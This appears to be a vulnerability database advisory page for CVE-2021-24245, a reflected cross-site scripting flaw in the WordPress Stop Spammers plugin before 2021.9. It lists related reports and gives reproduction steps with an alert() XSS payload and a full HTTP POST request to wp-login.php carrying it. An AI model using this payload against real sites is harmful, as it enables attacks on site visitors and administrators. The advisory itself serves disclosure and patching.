Stop Spammers < 2021.9 - Reflected Cross-Site Scripting (XSS)
| Reporter | Title | Published | Views | Family All 16 |
|---|---|---|---|---|
 | WordPress Stop Spammers 2021.8 Plugin - (log) Reflected Cross-site Scripting Vulnerability | 19 May 202100:00 | – | zdt |
 | CVE-2021-24245 | 6 May 202113:15 | – | attackerkb |
 | CVE-2021-24245 | 19 May 202110:05 | – | circl |
 | WordPress 跨站脚本漏洞 | 6 May 202100:00 | – | cnnvd |
 | WordPress Stop Spammers Plugin Cross Site Scripting (CVE-2021-24245) | 1 Jun 202100:00 | – | checkpoint_advisories |
 | CVE-2021-24245 | 5 May 202118:39 | – | cve |
 | CVE-2021-24245 Stop Spammers < 2021.9 - Reflected Cross-Site Scripting (XSS) | 5 May 202118:39 | – | cvelist |
 | WordPress Plugin Stop Spammers 2021.8 - 'log' Reflected Cross-site Scripting (XSS) | 19 May 202100:00 | – | exploitdb |
 | WordPress Stop Spammers <2021.9 - Cross-Site Scripting | 3 Sep 202602:10 | – | nuclei |
 | CVE-2021-24245 | 6 May 202113:15 | – | nvd |
10
| Source | Link |
|---|---|
| plugins | www.plugins.trac.wordpress.org/changeset/2509620/ |
From an IP not in the Allow List (wp-admin/admin.php?page=ss_allow_list), make a request with a spam word, and add an XSS payload, such as ad" accesskey=X onclick=alert(1) "
An input such as ad">TEST can also be used to prove the injection which will result in TEST" /> being displayed in the page
This can be achieved via the wp-login.php form for example, either in the Username or Password fields.
POST /wp-login.php HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 148
Connection: close
Cookie: wordpress_test_cookie=WP%20Cookie%20check
Upgrade-Insecure-Requests: 1
log=ad%22+accesskey%3DX+onclick%3Dalert%281%29+%22&pwd=&wp-submit=Log+In&testcookie=1Data
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09 Apr 2021 07:00Current
0.2Low risk
Vulners AI Score0.2
EPSS0.05721